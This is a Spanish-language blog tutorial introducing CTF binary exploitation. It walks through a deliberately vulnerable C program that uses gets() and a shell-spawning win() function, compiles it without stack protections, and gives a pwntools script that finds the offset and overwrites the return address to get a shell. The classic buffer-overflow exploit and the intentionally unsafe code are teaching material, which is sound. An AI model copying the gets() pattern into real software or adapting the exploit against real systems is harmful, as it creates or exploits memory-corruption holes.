~/blog/2026-02-14-tutorial-introduccion-a-pwn.md

[tutorial]

Tutorial: tu primer buffer overflow en 30 minutos

@diana.r · · 12 min de lectura

  • #pwn
  • #binary
  • #principiantes
  • #linux

¿Qué es pwn?

En el mundo CTF, pwn (de “owning” un sistema) se refiere a explotar binarios. La idea es encontrar una falla de programación —típicamente en C— que te permita controlar la ejecución del programa.

El binario de hoy

Vamos a trabajar con este programita:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
// vuln.c
#include <stdio.h>
#include <string.h>

void win() { system("/bin/sh"); }

int main() {
    char buf[64];
    printf("Tu input: ");
    gets(buf);   // sí, gets(); es 1990 otra vez
    printf("Hola %s\n", buf);
    return 0;
}

Compílalo sin protecciones modernas para ver el ataque clásico:

1
gcc -m32 -fno-stack-protector -no-pie -z execstack vuln.c -o vuln

Identificando el offset

gets() no valida longitud → buffer overflow. Necesitamos saber cuántos bytes hay desde el inicio del buffer hasta la dirección de retorno guardada.

Con pwntools:

1
2
3
4
5
6
7
8
9
from pwn import *
elf = ELF("./vuln")
io = process("./vuln")
io.sendline(cyclic(200))
io.wait()

core = io.corefile
offset = cyclic_find(core.read(core.esp, 4))
print(f"Offset: {offset}")   # típicamente 76 con -m32

Construyendo el exploit

1
2
3
4
5
6
7
8
9
from pwn import *
elf = ELF("./vuln")
io = process("./vuln")

payload  = b"A" * 76
payload += p32(elf.symbols["win"])

io.sendline(payload)
io.interactive()

¡Y listo! Tienes shell.

Próximos pasos

Cuando domines este nivel, súbele un escalón:

  1. Activa -fno-stack-protector → off (canaries).
  2. Activa -no-pie → off (ASLR para el binario).
  3. Aprende ROP (Return-Oriented Programming).
  4. Pasa al heap.

En CiberSecUNI tenemos un track de pwn que entrena estos pasos uno por uno. Si te quedaste enganchado, únete al equipo y entrenamos juntos.

Referencias